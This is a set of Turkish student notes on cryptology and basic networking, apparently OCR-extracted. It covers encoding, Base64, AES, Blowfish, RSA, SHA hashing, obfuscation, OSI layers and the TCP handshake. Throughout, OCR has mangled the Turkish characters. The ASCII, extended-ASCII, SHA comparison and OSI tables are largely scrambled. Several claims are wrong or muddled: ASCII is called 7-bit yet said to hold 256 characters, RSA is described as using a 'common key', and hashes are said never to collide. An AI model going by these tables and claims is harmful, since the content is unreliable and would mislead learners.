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Sifre bilimi olan kriptoloji, cesitli verilerin belirli bir sisteme gore sifrelenmesi,verilerin
giivenli bir ortam aracilifiyla aliciya iletilmesi ve verilerin tekrar de(sifre) edilmesidir.

kriptoloji = kriptografi + kriptoanaliz den anladigimiz iizere kriptolojiyi iki alt basliga ayiriyoruz.

Kriptografi veri sifreleme yaparken Kripto Analiz sifreli veriyi ¢c6zmeye dayanir. Giiniimiize kadar
ulasmis en dnemli sifreleme teknikleri:

Simetrik sifreleme
Asimetrik sifreleme
Hash fonksiyonlari
Sezar

Enigma

Algoritmalar tamamen matematiksel fonksiyonlara dayanir. bilmemiz gereken bazi kavramlar
var. Bunlar;

Encoding
Encryption
Hashing

Obfuscation

Ve bu kavramlar genelde aralarinda karistirilmakta. 6ncelikle bu kavramlara tek tek agiklik
kazandiralim.

Encoding

Amaci kaynak veriyi almak ve bunu iletigsim icin sembollere déniistiirmektir. Ornegin binary
veriler email tizerinden gidebilir ya da 6zel karakterler ile web sayfalarinin temelini olusturur.
Encoding in amaci veriyi gizli tutmak degil daha ziyade verinin diizgiin, eksiksiz génderildiginden
emin olmaktir. Anladigimiz {izere encoding verileri belirli bir diizende baska bir formata doniistiirtiyor.
E o zaman biz bu diizen sayesinde verileri kolaylikla eski haline getirebiliriz. Ayrica encoding icin
herhangi bir key gerekmemekte.

Decoding de ise encoding de yapilan islemin tersi uygulanmaktadir. Yani encoding ile
ulugturulan sembollerin alicinin anlayacacagi hale getirilmesidir. Decoding islemi icin gerekli olan tek
sey encode islemi yapilirken kullanilan algoritmadir.



Encoding/Decoding 6rnekleri;

ASCII

Latin alfabesi temel alinarak tasarlanmis 7 bitlik karakterleri barindirir. ANSI tarafindan
1963'te tamtilmigtir. Toplam karakter sayis1 256 kadardir. Bu sayiya ragmen bircok dilde bulunan
simgeler halen tanimlanmamuistir. Bu agidan her bélgeye, dile ait simge&karakter karsilamak amaciyla
cesitli ASCII table'lar olusturulmustur. Buna en giizel 6rnek Afrika dili kullanilarak gelistirilen
yazilimlarda ISO 8859-1 adli table’1n kullanilmasidur.

Dec HxOct Char Dec Hx Oct Hitml Chr Dec Hx Qct Hirml Chr] Dec Hx Oct Himl Chr
[u] O 000 ML (ruall) 32 Z0 040 &#32; Space| 64 40 100 =£5<4; @ 95 50 140 #9367 N
1 1l 001 SO0H (start of heading) 33 21 041 &#335: ! 65 41 101 =65 & 297 51 141 =#97: a
2 Z 002 5T (start of cext) 34 22 042 &#394: 7 66 42 102 =#55: B 295 62 142 =#98; b
3 3 003 ETH (end of tCext) 35 23 043 &#35:7 ¥ &7 43 103 =gs7; C 299 53 143 =#3939; =
£ 4 004 EOT (end of cransmission) 36 24 044 #3567 5 65 44 104 =<#55; D 100 64 144 s#100: d
5 5 005 EMNQ (encuairy) 37 25 045 &#37: = 59 45 105 =#569: E 10l 55 145 &s#101: &
(=] &6 006 ACHK (acknowledoge) 38 26 046 =#35: = 70 46 106 =#70;: F 102 66 146 &#10zZ: €
7 7 007 BEL (bell) 39 Z7 047 &390 71 47 107 =71l; G |103 &7 147 =#103; o
[=] 8 010 BS [backspace] 40 25 050 &40 7Z 48 110 =E7=2: H 104 58 150 &#104: hh
=l 9 011 TAE (horizontal tah) 41 29 051 =#21l: ) 73 49 111 =#73: T 105 &9 151 &#105: 1
10 & 01z LF (ML line feed, new line)| 42 ZA 052 &#F4d=Z; ~ Ta 4h 1l =E74r T 105 G4 152 &#10s;: 3
11 B 013 wI [(wertical tab) 43 2B 053 &#43: + 75 4B 113 «<#75: K 107 5B 153 &#107: k
1z C 014 FF (NP form feed, new page)| 44 ZC 054 «#dd: TE AC 114 «#75: L 1085 SC 154 &#105: 1
13 D 015 CER [Ccarriage return) 45 2D 055 &#45: — 77 4D 115 =E7T7: M 109 5D 155 &#109: m
14 E 0Ol1l& =0 [(shift out) 465 ZE 056 =#d46; . 75 4FE 116 =#75: N 110 8E 156 &#110: 11
15 F 017 =T (shift in) 47 ZF 057 &#47: 5 79 4F 117 =g73; 0 111 &F 157 =#111; ©
ls 10 0Z0 DLE [(data link escape) 45 30 050 &#45: 0 80 50 120 =50: P 1llz 70 150 &#11=2:
17 11 021 DCl [dewice control 1) 49 31 051 &#49: 1 51 51 121 =#S1: 0 113 71 161 &=#113: o
15 12 022 DCzZ (dewice control 2} 50 32 052 s#50; 2 G2 52 122 =52; R 114 72 152 =#ll4:; ©
19 13 023 DC3 [(dewice control 3) 51 33 063 &#S51: 3 53 53 123 =#53:; 3 115 73 163 =#115: =
Z0 14 024 DC4d (dewice control 4) 52 34 054 &=#52; 4 Gd 54 124 «54; T |11le 74 164 =#1l1c; ©
Z1 15 0Z5 MNAE [(negative acknowledges) 53 35 055 &#53: 5 85 55 125 «#55: O 117 75 155 &#117: 1
Z2 16 026 S¥VHM [(synchronous idle) 54 36 066 &#54: & 56 56 126 =#356; W 118 76 166 &#115: W
23 17 027 ETE (end of trans. block] 55 37 057 &#55: 7 G757 127 =87 ; W |112 77 167 =#119; W
Z<4 15 030 CAN [(cancel) 56 38 070 &#56: 5 88 58 130 <#55; X lz0 78 170 #1207 =
Z5 12 031 EM (ernd of medium) 57 39 071 =#57: 9 59 59 131 =#59; ¥ 121 79 171 =#1Z1: ¥
Zo 1l& 032 3TUE (substitute) 58 3A 072 &#58: =« 90 5A 132 =90 = 12z 7A 172 &#122: =
27 1B 033 ESC [(escape) 59 3B 073 =#59: 91 5B 133 =#91: [ 123 7B 173 &#123: 1
28 1C 034 F3 (file separator) &0 3C 074 s#607 < 22 5C 134 =g322; 0 124 7C 174 &#1z24: |
Z9 1D 035 G35 [Jroup sSeparator] 51 3D 075 &#61: = 93 5D 135 =93: ] 125 7Dn 175 &#125: 1
30 1E 036 RS [record separator) 62 3E 076 =#6Z: = 94 5E 136 =#9d: - 126 7E 176 s=#1Z&: -~
31 1F 037 U3 [unit separator]) &3 3IF 077 &#63: 7 95 S5F 137 «#95; _ |l127 7F 177 =#1=27;: DEL
Source: www _ LookupTable=s .com
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133 a 143 & 165 11 121 o 197+ 213 29 o 245
= Y
134 3 150 4 las  * 152 | 192 k214 ¢ 230 o 246 -
125 ¢ 151 0 167 122 19 215 4 rich B 47 =
136 & 152 # 162 4 124 1 00 L 21a F 232 @ 4z @
137 & 153 & 169 — 125 4| am g 217 ik S 245
132 & 134 101 170 126 || anz L 31' 234 o 250
133 g 155 = 171 2 127 5 s o+ 212 N 335 5 251 o
140 % 156 £ 172 % 128 4 nd |k 230 236 = 52 =
141 i 157 ¥ 173 120 4 s = 231 |1 237 4 53 ¢
14z A& 152 m 174 = o0 4 08 4 222 pric R a4 =
143 & 159 7 175 » 121 4 07 L 2z 0= pric= B . &

Source:

www LookupTable=s com



Unicode vs UTF-8

Unicode, Unicode Consurtium organizasyonu tarafindan gelistirilen ve her karaktere say1
degeri belirleyen bir standarttir. Diinyada bir ¢ok yazim standarti oldugunu diisiindiigiimiizde farkl
standartlarin bilgisayar ortaminda tek bir standart altinda temsil edilmesini saglamak amaciyla
gelistirilmistir. Unicode standartlastirilmis iken bir yukarida anlattigimiz ASCII
standartlastirllmamistir. Bu acidan Unicode diinyada en ¢ok kullanilan dilleri temsil etmektedir.

Peki UTF-8 nedir? Ikisi arasindaki fark ne? Nasil kargilagtirabiliriz? Aslinda bu ikisi arasinda
bir karsilastirma yapmaya calismanin elma ve armutu karsilastirmaktan pek bir farki yoktur.

UTEF-8 bir character encoding tiirii iken Unicode bir character setidir. Ornegin "O" harfinin
Unicode character setinde degeri "4E" dir. UTF-8, numaralar binary sisteme doniistiirmekte boylece
disk tizerinde tutabilmektedir.

Ornek vermek gerekirse UTF-8 [1,2,3,4] sayilarini; 00000001 00000010 00000011 00000100

haline cevirmis bdylece binary sisteme dénen datamiz disk iizerinde tutulabilecektir.

Elimizde soyle bir data olsun --> [1101000 1100101 1101100 1101100 1101111]

Uygulamalarimiz datanin Unicode halde oldugunu ve UTF-8 ile encode edildigini bilmekte ve
datanin binary olarak sunulmamasi gerektiginin de farkindadir. Uygulamanin yapacagi ilk adim binary
datay1 bir sayiya cevirmektir. Uygulama datay1 decode etmek icin UTF-8 kullanir. Béylece datanin
decode edilmis hali --> [104 101 108 108 111] bu sekle gelir.

Yukarida da dedigimiz gibi bu bir Unicode stringdir ve biz artik her numaranin bir karakteri
karsiladigini biliyoruz. Iste burada Unicode karakter setini numaralarin karsilig1 olan karaktere
cevirmek icin kullaniyoruz. Ve artik elimizde olan output string rahatlikla okunmaktadir.

hello

Sonug olarak artik hepimiz UTF-8 ile Unicode arasindaki fark: biliyoruz. Tekrar 6zetlemek
gerekirse UTF-8 sayilar1 binary dataya doniistiiren bir encoding tiirii iken Unicode karakterleri sayilara
doniisttiren bir karakter setidir.
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Diger Character Encoding tiirleri:

*UTF-1
*UTF-7

*UTF-EBCDIC

*UTF-16

*UTF-32
URL Encoding
Karakterler URL igerisinde amaci Encode hali

Protokolii adresten ayristirir. %3B

/ Domainleri ve dizinleri ayristirir. %?2F
# Anchorlar ayristirir. %23
? Sorguyu ayrigtirir %3F
& Sorgu dgelerini ayristirir, %24
@ Kullanici adi ve sifreyi domainden ayirir. %40
% Encoded karakteri belirtir. %25
+ Bosluk belirtir. %2B

<space> URL igerisinde tavsiye edilmez. %20 ya da +1



Base64

Binary verilerimizin sadece ASCII verileri kullanan ortamlarda iletilmesine ve saklanmasina
olanak saglayan semadir.

Base 64 encoded text uzunlugu daimi olarak 4 iin katlar seklindedir. 4iin kat1 olmayan bir
encoded string uzunlugu base64 metni olamaz. SOn uzunluk 4'iin kat1 seklinde degilse 4 iin katina
tamamlayacak sekilde "=" eklenmelidir. En cok Multipurpose Internet Mail Extensions standartina
sahip uygulamalarda dosya eklenme isleminde kullanilir.

Ornek; "oguzhan" 7 Byte uzunlugunda bir texttir. Base 64 encoded hali ise "b2d1emhhbg==" dir.
7¥8 =56 & 56/6 =9 kalan ise 2 dir. Encoded textte bulunan "=" buradan gelmektedir.

Elimizde Cince bir karakter oldugunu varsayalim. Karsiya iletim sirasinda bozulmaya
ugrayabilir o yiizden encode ettigimizde [a] haline geldigini varsayarsak kargida [a] harfini alan birisi
decode ettiginde basta iletmek istedigimiz Cince karakteri herhangi bir dezenformasyona ugramadan
elde edebilmektedir.

Value Char Value Char Value Char Value Char

0 A 16 Q 32 g 48  w
1 B 17 R 33 h 49 X
2 C 18 s 34 i 50 y
3 D 19 T 35 51 2
4 E 20 U 36k 5 0
5 F 21 v 37 1 53 1
6 G 2 W 38 m 54 2
7 H 23 X 39 n 55 3
8 1 24 Y 40 o 56 4
9 3 25z 41 p 57 5
10 K 26 a 2 q 58 6
1 L 27 b 43 x 59 7
12 M 28 44 s 60 8
13 N 29 d 45 61 9
14 o 30 e 46 u 62  +
15 P 31 f 47 v 63  /



Encryption

Amaci iletilmek istenen verileri, mesajlar1 3. sahislardan gizli tutmak, yalnizca istenilen
kisilerin okumasinm saglamaktir. Amag olarak birine yalnizca onun okuyacag1 mektup géndermek,
internet bankacilig1 yaparken parolalan gizli bir sekilde karsiya ulastirmakla pek bir farki yoktur.
Tekrar etmek gerekirse amac verilerin baskasi tarafindan okunmadigim garantiye almaktir.

Encryption da key kullamilmaktadir. Kullamlan key gizlidir ve plaintext ile algoritmanin
beraber calismasini saglar. Syle ki ciphertext, algoritma ve key'in tamamui veriyi plaintext'e
doniistiirmek icin gereklidir.

Encryption drnekleri;

AES

Advanced Encryption Standart yani Gelismis Sifreleme Standardidir. DAS(Data Encryption
Standart)'1n yerini almistir. Simetrik ve anahtarl bir algoritmadir. crypt ve decrypt i¢in kullanilan
keyler aynidir. 256 bit uzunlikta bir AES algoritmasinin kirilmasi icin gereken deneme sayisi 2/200
diir ve hesaplandiginda 13.772 milyon yildan uzun bir siireye denk gelmektedir. Evrenin olugsmasindan
su ana kadar gecen siireden uzun oldugunu sdyleyebiliriz M

Algoritmanmin temel agiklamasi:

1. Key Expansion

2. Initial Round
*AddRoundKey

3.Rounds
*SubBytes
*ShiftRows
*MixColumns

4.Final Round
*SubBytes
*ShiftRows

*AddRoundKey



AES'e yonelik saldirilar;

XSL saldirisi,
Related key saldirisi,
Known Key Distinguishing saldirisi,

{Yan Kanal} saldirisi.

Ayrica saldirilara yonelik 6nemli bir konu da Snowden'in dokiimanlarindan anladigimiz iizere
NSA tarafindan AES'i kirmak amaciyla yapilan calismalar bulunmaktadir.

// 2005'de gelistirismis cache timing attack ile aes ile sifrelenmis pdf dosyasi kirilmis. "Dag Arne
Osvik, Adi Shamir, Eran Tromer adli arkadaslar tarafindan”

// 2011'de bir diger zayi1flig1 kesfedilmis. https://www.helpnetsecurity.com/2011/08/17/researchers-
identify-first-flaws-in-the-advanced-encryption-standard/

// AES hakkinda izlenmesi gereken giizel bir ders; https://www.youtube.com/watch?v=NHuibtoL. gk

// www.moserware.com/2009/09/stick-figure-guide-to-advanced.html

[ SubBytes ]

—



http://www.moserware.com/2009/09/stick-figure-guide-to-advanced.html
https://www.youtube.com/watch?v=NHuibtoL_qk
https://www.helpnetsecurity.com/2011/08/17/researchers-identify-first-flaws-in-the-advanced-encryption-standard/
https://www.helpnetsecurity.com/2011/08/17/researchers-identify-first-flaws-in-the-advanced-encryption-standard/

Blowfish:

Simetrik anahtar algoritmasidir. Bu tip algoritmalar ayn1 ya da benzer keyleri kullanarak
crypt/decrypt islemi yaparlar. Yukarida anlattigim AES'de bir simetrik algoritmadir. ikisi haricinde
3DES, IDEA, RC4' de simetrik algoritmalardandir. Asimetrik sifrelemeye gore en 6nemli dezavantaji
iki tarafin da private key'e sahip olmasinin gerekmesidir. Asimetrik algoritmalarda ise crypt/decrypt
islemleri icin farkh anahtarlar kullamldigindan dolay1 simetrik sifrelemeye nazaran daha giigliidiir.
Veriyi ileten ve alan taraflarda birer ¢ift anahtar vardir. BU anahtarlardan biri public digeri private
anahtardir. Anahtarin biriyle crypt edilirken digeriyle decrypt edilir.Private key'e adi iistiinde sadece
bir kisi ulasirken public key herkes tarafindan erisilebilir.

Simetrik sifrelemeye yapilan saldirilar;

1- key search, brute force ataklari,
2- kriptoanaliz

3- system-based ataklar.

Yapilan saldirilar hakkinda ¢ok giizel hazirlanmis bir yaz i¢in buradan:

//https://www.cs.clemson.edu/course/cpsc424/material/Cryptography/Attacks%200n%20Symmetric
%20Key.pdf

/I Artik %20 lerin goziiniize daha anlamh gelmeye basladigim diistintiyorum :)

8 bits 8 bits 8 bits 8 bits

S-box 1 S-box 2 S-box 3 S-box 4

32 bits 32 bits 32 bits 32 bits

A

N
L/

Blowfish Encryption Algorithm

RSA


https://www.cs.clemson.edu/course/cpsc424/material/Cryptography/Attacks%20on%20Symmetric%20Key.pdf
https://www.cs.clemson.edu/course/cpsc424/material/Cryptography/Attacks%20on%20Symmetric%20Key.pdf

Asimetrik bir sifreleme yontemidir. Tamsayilar carpanlarina ayirmaya dayanmaktadir. Yani
asal sayilar kullanilmaktadir. RSA kullanicisi iki asal sayiy1 ¢arpar ve herhanginbir deger ile beraber
common key {iretir. Fakat asal sayilar saklar. Decrypt ederken ise yine olusturulan common key
kullanmlir. Eger ¢ikarim yapacak olursak anahtar uzunlugu arttikca asal ¢arpan tespit etme olasilig
daha diisecek boylece RSA kirmak nispeten daha zorlasacaktir.

Neredeyse her seyi p&q (p&q asal sayilar olmak iizere) degerlerine dayamir. Algoritmanin
dogrulugunu "Fermat'in Kiiciik Teoremi" ve "Euler Teoremi" ile ispatlayabiliyoruz.

// Bu konuda giizel bir yaz1 : https://people.math.osu.edu/derdzinski.1/courses/1295

// RSA Encryption 6rnegi: http://fringe.davesource.com/Fringe/Crypt/RSA/Example.html

Hashing

Hashing in amac: verinin biitiinliigiinii saglama almaktir. Ornegin veride meydana gelecek bir
degisikligi (1 bit bile olabilir) anlamamizi saglar. Teknik olarak rastgele bir input ile beraber degismez
uzunluga sahip bir string meydana getirir. Hashing de;

1- Aymi olan input her zaman aym outputu meydana getirir
2- Farkl inputlar asla ayn1 inputu olusturmazlar.
3- Outputtan inputa ulasmak miimkiin degildir.

4- Girilen inputta herhangi bir modifikasyon hash de 6nemli degisikler meydana getirir.

Hashing ortadaki verilerin daha sonradan modifiye edimledigine dair ¢ok 6nemli kamtlar
meydana getirir. Ornek: Alici mesaji acar. Encrypted metni private keyi sayesinde decrypt eder. Daha
sonra mesajl tekrar hashler ve génderen kisinin dogruladig1 hash ile karsilagtirir. Eslenmesi takdirde
mesajin degistirilmedigi, gelen mesajin dogru kisi tarafindan génderildigi bilgisine ulasabiliriz. //
Checksum mantiginin da bu sekilde isledigini diisiinmekteyim.

// Pythonda hashlerle ugrasirken hashlib kiitiiphanesini kullanmistim. Hatta hakkinda kisa bir
aciklamay1 PythonKutuphaneleri'ne eklemistim. Buradan okuyabilirsiniz;

https://github.com/OguzhanKaraaslan/PythonKutuphaneleri/blob/master/cryptography/hashlib.md


https://github.com/OguzhanKaraaslan/PythonKutuphaneleri/blob/master/cryptography/hashlib.md
http://fringe.davesource.com/Fringe/Crypt/RSA/Example.html
https://people.math.osu.edu/derdzinski.1/courses/1295

Hashing odrnekleri:

SHA Algorithm

Secure Hash Algorithm olarak adlandirilan en ¢ok kullanilan algoritmalardan olan SHA, NIST
(National Institute of Standarts and Technology) tarafindan yayimlanmistir. Bir diger 6zet
fonksiyondur.

*SHA-0
*SHA-1
*SHA-2
*SHA-3
*SHA-256
*SHA-384
*SHA-512

Peki bu kadar algoritma gelistirilmis bunlarin farki nedir? Diye soracak olursaniz:

Comparison of SHA functions

Max
Output Internal Block | message Example
Algorithm and size state size | size size Security = performance!?!
variant {bits) (bits) (bits) (bits) Rounds Operations {bits) (MiB/s)
MDS5 (as reference) 128 128 512 | Unlimited(3] 64 And, Xor, Rot, <64 335
(4 % 32) Add (mod 232), (collisions
or found)
SHA-0 160 160 512 2684 1 80 And, Xor, Rot, <80 -
(5 x 32) Add (mod 232), (collisions
or found)
SHA-1 160 160 512 264 -1 80 <80 192
(5 % 32) (theoretical
attack!?])
SHA-2 SHA-224 224 256 512 264 1 64 And, Xor, Rot, 152 139
SHA-256 256 (8 x 32) Add (mod 232), 128
or, Shr
SHA-384 384 512 1024 2128 80 And, Xor, Rot, 192 154
SHA-512 512 (8 x 64) Add (mod 254), 256
SHA-512/224 224 or, shr 112
SHA-512/256 256 128
SHA-3 SHA3-224 224 1600 1152 | Unlimited(®! | 24©] And, Xor, Rot, 112 -
SHA3-256 256 (5% 5 x64) | 1088 Not 128
SHA3-384 384 832 192
SHA3-512 512 576 256
SHAKE128 | d (arbitrary) 1344 min(dy/2, -
SHAKEZ256 d (arbitrary) 1088 128)
min(dy/2,

256)



Obfuscation

Temel amaci bir veriyi anlasilma agisindan daha zor hale getirmektir. Genellikle saldirilar1 ve
kopyalamalar zorlastirmak amaciyla kullanilir,

Cogu kisinin kullandig1 kullamma 6rnek vermemiz gerekirse bu source code obfuscationdir.
Baylece bir iriiniin kopyasini yapmak tersine miihendislik yapilsa bile zorlasmaktadir.

Fakat soylemek gerekirse tek basina obfuscation yeterli degildir fakat alinacak énlemlerden
bir tanesidir. Encode edilmis bir metni nasil tekrar basitce decode edebiliyorsak obfuscate edilmis bir
veri icin de aym teknik tersine kullanilarak deobfuscate edilebilir.

Obfuscation hakkinda akilda bulunmasi gereken diger bir sey obfuscate etmis olsak da kodun
hala bilgisayar tarafindan yorumlanabiliyor olmasi gerektigidir.

Obfuscate Ornekleri;
JavaScript Obfuscator

ProGuard

OZET OLARAK;

1 - Encode edilmis bir veri ayn1 algoritma kullanilarak decode edilebilir. Encoding
islemlerinde key kullanilmamaktadir.

2 - Encrypted bir veriyi plaintext hale getirmek icin elimizde secretkey olmasi gerekir.

3- Hashing genel olarak veri biitiinliigiinii kontrol etmek amaciyla kullanilir. Veride meydana
getirilmis herhangi bir veriyi tespit etmemize olanak saglar. Veride meydana getirilmis herhangi bir
degisiklikte 6zet fonksiyonu ile elde ettigimiz veri degisir.

4 - Obfuscation herhangi bir seyin ifade ettigi veriyi bagka birisinin anlamasini zorlagtirmak
amaciyla kullamlir. Siklikla kaynak kodlarda, tersine miihendislik ile structure hakkinda bilgi
edinilmemesi amaclanir.

5 - Genelde encryption ile obfuscation karigtirllmaktadir. Yukarida da anlattifim gibi obfuscate
edilmis bir veri bir bilgisayar tarafindan rahatca deobfuscate edilebilirken encryption da bir insan veya
bir bilgisayar private key'e sahip olmadan asla verilerimizi okuyamaz.



Kullaniminda hata yapilan bir diger kavram; "DATA" Maalesef boyle kiiciik takintilara sahip bir
insanim.

Data Latinceden gelen datum kelimesinin plural halidir. Ornek vermek gerekirse "Data was
classified" demek yerine "Data were classified" demek daha dogru bir kullanimdir. Uzatmadan.. data
plural form, datum singular formdur.

Ama o Latince'de 6yle oluyor olabilir. Biz Latince konugmuyoruz diyenler olabilir, onlar da
kendi caplarinda hakh olabilirler fakat saygi duymuyorum AA

DATA != VERI & DATUM == VERI

DATA == VERILER // artik datalarimuz diye konusmuyoruz :)

Kriptografide genel olarak Alice&Bob érneginin kullamldigini biliyorum. Ayrica oyun teorisi
anlatilirken de bu isimler kullanilmakta. Ve ayrica ve ayrica :) MitM saldirilarinin pratikte anlatiminda
da kullanihiyor.

Symmetric key
(shared secret,
known to A & B)

HiBob HiBob
. Alice Alice
- N

Ciphertext

' P [T '
nB5+

C=E(M, K) M=D(C, K)
!f % e
& ~
z By
C =Cipher text D = Decryption
M = Message (plaintext) . 711 function
K = Secret Key

E = Encryption function

Fakat neden Alice? Neden Bob? Bu konuda maalesef bir bilgim yok. Bilgisi olan arkadaslar
bana da ulasirsa memnun olurum :) Aktarmak istedigim kriptoloji bilgisi bu kadar :)



NETWORK 101



Network, mesafe fark etmeksizin herhangi bir alan icerisindeki bilgisayarlarin(cihazlarin)
hatlar araciligiyla birbirine baglanarak bilgi kaynaklarinin paylasildigi, yani veri aktariminin yapildig
bir iletisim seklidir. Boyle bir iletisim icin en az 2 cihaz gereklidir. En biiyiik network internet, ilk
bilgisayar ag1 ise ARPANET (Advanced Research Projects Agency Network)'tir. Agda bulunan
bilgisayar haberlesmesinin temelinde OSI (Open System Interconnection) referans modeli gecerlidir.
Peki nedir bu OSI referans modeli? 1978 yilinda ISO tarafindan gelistirilmis farkl cihazlar arasinda
veri aktarimini saglama goérevini iistlenen modeldir. Model igerisinde katmanlar bulunmakta ve her
katmanin kendi gorevleri bulunmaktadir. Her katman bir iist katmana veri aktaracak sekilde
tasarlanmistir. Fiziksel katmandaki veri, bir tist katman olan veri baglantisi1 katmanina oradan ag
katmanina... seklinde iletilir. Network icerisinde iletisimimizi bu sekilde saglamaktayiz.

Bu katmanlara gz atalim

OSI KATMANLARI:

1-Donamim Katmani
2-Veri Baglantis1 Katman
3-Ag Katmani

4-Ulasim Katmani
5-Oturum Katmam
6-Sunum Katmani

7-Uygulama Katmani

Elimizde olan veri yukaridaki katmanlarin her birinden gectikten sonra son kullaniciya
ulasmak zorundadir. Verinin son katman olan uygulama katmanina ulasmasi verinin son kullaniciya
ulagmasi anlamina gelir.



Katman Veri birimi

Uygulama

6. Sunum Veri

OSI Modeli

Islevi

Kaynak paylasimi, uzaktan dosya erisimi, dizin
hizmetleri veya sanal ucbirimler gibi {ist seviye
APIler

Ag hizmeti ve uygulama arasinda veri cevirisi,
ornegin karakter kodlamasi, veri sikistirma ve

sifreleme/sifre ¢c6zme

fletisim oturumlarinin, yani iki diigiim arasinda
ileri ve geri aktarimlar seklinde siirekli olarak
gerceklesen veri takasi.

Veri boltimlerinin, boliitleme, alindilama ve
cogullama gibi islemlerle ag iizerinde noktalara
giivenli bir sekilde iletilmesi.

Cok diigtimlii bir agin, adreslendirme, yonlendirme

3.Ag Paket/Datagram (routing) ve trafik denetimi gibi siirecler

Sunucu
katmanlan
5. Oturum
4. Tasima Béliit
Ortam

katmanlan 2. Veri  Bit/Cerceve
baglantis1 (Frame)

1. Fiziksel Bit

// source= wikipedia.org

kullanilarak yapilandirilmasi ve yonetilmesi.

Fiziksel bir katman araciligiyla birbirine bagh iki

diigtim arasinda veri gercevelerinin giivenli bir
sekilde iletilmesi

Islenmemis bit akiglarinin fiizksel bir ortam

tizerinden gonderilmesi ve teslim alinmasi

Ornekler

HTTP,
FTP,
SMTP



https://tr.wikipedia.org/wiki/USB
https://tr.wikipedia.org/wiki/DSL
https://tr.wikipedia.org/wiki/Bit
https://tr.wikipedia.org/wiki/Fiziksel_katman
https://tr.wikipedia.org/wiki/Layer_2_Tunneling_Protocol
https://tr.wikipedia.org/w/index.php?title=IEEE_802.2&action=edit&redlink=1
https://tr.wikipedia.org/w/index.php?title=IEEE_802.2&action=edit&redlink=1
https://tr.wikipedia.org/wiki/PPP
https://tr.wikipedia.org/wiki/Bit
https://tr.wikipedia.org/wiki/Veri_ba%C4%9Flant%C4%B1s%C4%B1_katman%C4%B1
https://tr.wikipedia.org/wiki/Veri_ba%C4%9Flant%C4%B1s%C4%B1_katman%C4%B1
https://tr.wikipedia.org/w/index.php?title=AppleTalk&action=edit&redlink=1
https://tr.wikipedia.org/wiki/IPsec
https://tr.wikipedia.org/wiki/IPv6
https://tr.wikipedia.org/wiki/IPv4
https://tr.wikipedia.org/wiki/Datagram
https://tr.wikipedia.org/w/index.php?title=A%C4%9F_paketi&action=edit&redlink=1
https://tr.wikipedia.org/wiki/A%C4%9F_katman%C4%B1
https://tr.wikipedia.org/wiki/UDP
https://tr.wikipedia.org/wiki/TCP
https://tr.wikipedia.org/wiki/Ta%C5%9F%C4%B1ma_katman%C4%B1
https://tr.wikipedia.org/w/index.php?title=Parola_do%C4%9Frulama_protokol%C3%BC&action=edit&redlink=1
https://tr.wikipedia.org/wiki/Uzaktan_yordam_%C3%A7a%C4%9Fr%C4%B1s%C4%B1
https://tr.wikipedia.org/wiki/JPEG
https://tr.wikipedia.org/wiki/EBCDIC
https://tr.wikipedia.org/wiki/ASCII
https://tr.wikipedia.org/wiki/%C5%9Eifreleme
https://tr.wikipedia.org/wiki/Veri_s%C4%B1k%C4%B1%C5%9Ft%C4%B1rma
https://tr.wikipedia.org/wiki/Karakter_kodlamas%C4%B1
https://tr.wikipedia.org/wiki/Sunum_katman%C4%B1
https://tr.wikipedia.org/wiki/SMTP
https://tr.wikipedia.org/wiki/FTP
https://tr.wikipedia.org/wiki/HTTP
https://tr.wikipedia.org/wiki/Uygulama_programlama_aray%C3%BCz%C3%BC
https://tr.wikipedia.org/wiki/Veri
https://tr.wikipedia.org/wiki/Uygulama_katman%C4%B1

Network Tiirleri

Kullandiklar protokol, biiytikliikleri, topoloji vb. bilgilere gore aglar aralarinda ayrilmaktadir.
Bunlar:

Personal Area Network — PAN

Local Area Network — LAN
Metropolitian Area Network — MAN,
Wide Area Network - WAN

Virtual Private Network - VPN
Campus Area Network - CAN

Storage Area Network — SAN seklinde biiyiikliiklerine gore;

Yildiz
Agac
Halka
Ortak Yol
Orgii

Gelismis Yildiz seklinde topolojilerine gore ;

TCP
1P
UDP
POP
SMTP
HTTP

FTP seklinde protokollerine gore siniflandirilmaktadir
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TCP/IP

iki katmanh bir haberlesme tiiriidiir. Ust katman TCP iken (Transmission Control Protocol), alt
katman IP (Internet Protocol) *dir. TCP datanin paketlere ayrilmasini, yine ayni sekilde bu ayrilmis
paketlerin kars tarafta birlestirilmesini, IP ise paketlere ayrismis bu datanin gidecegi adrese
yonlendirilmesini saglamaktadir.

4 katmandan meydana gelmekte:

1-Fiziksel Katman
2-Yonlendirme Katmam
3-Tasima Katmani

4- Uygulama Katmani

TCP/IP datanin paketlenmesi, iletilmesi, yonlendirilmesi, ulagsmasi vb. degerleri kontrol
ederek uctan uca (end to end) baglantiya olanak saglar. Verinin iletilip iletilmedigini kontrol etmesi
bizim i¢in avantajdir. UDP protokoliinde meydana gelen veri iletiimeme durumu TCP protokoliinde
bulunmamaktadir. Séyle varsayalim; Elimde bir kalem var ve bu kalemi Omer Hocaya géndermek
istiyorum. Omer Hocaya kalemi firlattim. Kalem yere diistii. UDP acisindan kalemin yere diismesinin
benim icin hi¢bir énemi yoktur. Fakat TCP protokolii uctan uca (end to end) baglantiya olanak
sagladigindan paketin karsiya ulasip ulasmadiginin farkinda olacaktir. Yere diisen paketleri tekrar
tekrar gonderecektir. Tekrar Omer Hocaya TCP yoluyla baglanmaya ¢alistgimda temel bir sekilde
iletisim soyle devam etmektedir:

Oguzhan -->--SYNchronize-->--Omer
Oguzhan --<--SYN+ACKnowledgement---<---Omer //6mer hoca istegi aldigin1 sdyliiyor.

Oguzhan -->----ACK----<--Omer //vee “tcp connection is ESTABLISHED” mesajim émer hoca
ald.

Bu sekilde bir 3 zamanl el sikisma ile TCP baglantimiz kurulmaktadir.

E peki ben artik Omer Hocayla olan TCP baglantimi sonlandirmak istiyorsam?

Oguzhan -->--FIN-->--Omer //baglantiy1 sonlandirmak istiyorum.
Oguzhan --<--ACK---<---Omer //6mer hoca baglant1 sonlandirma istegi aldigin1 sdyliiyor.
Oguzhan --<--FIN---<---Omer//6mer hoca baglantiy1 kendisinin de sonlandirmak istedigini soyliiyor.

Oguzhan -->--ACK-->--Omer //émer hocanin baglant1 sonlandirma istegini aldigim soyliiyorum.



Bu sekilde bir 4 zamanl: el sikisma ile TCP baglantimiz sonlandirilmaktadir.

Goriildiigii iizere kaynak ve hedef arasinda siirekli bir iletisim s6z konusudur. Buradan ¢ikarim
yaparak IP Spoofing, DDoS islemlerinde TCP protokolii yerine neden UDP protokoliiniin
kullanmldigini anlayabiliriz. Ciinkii DDoS’de amag veriyi karsiya giivenli bir sekilde olusturmak degil,
karginin stack’ini doldurarak isteklere cevap veremez hale getirmeyi saglamaktir. IP Spoofing, ARP
Spoofing konularim yazmay1 ¢ook istesem de maalesef alanimiza pek girmediginden

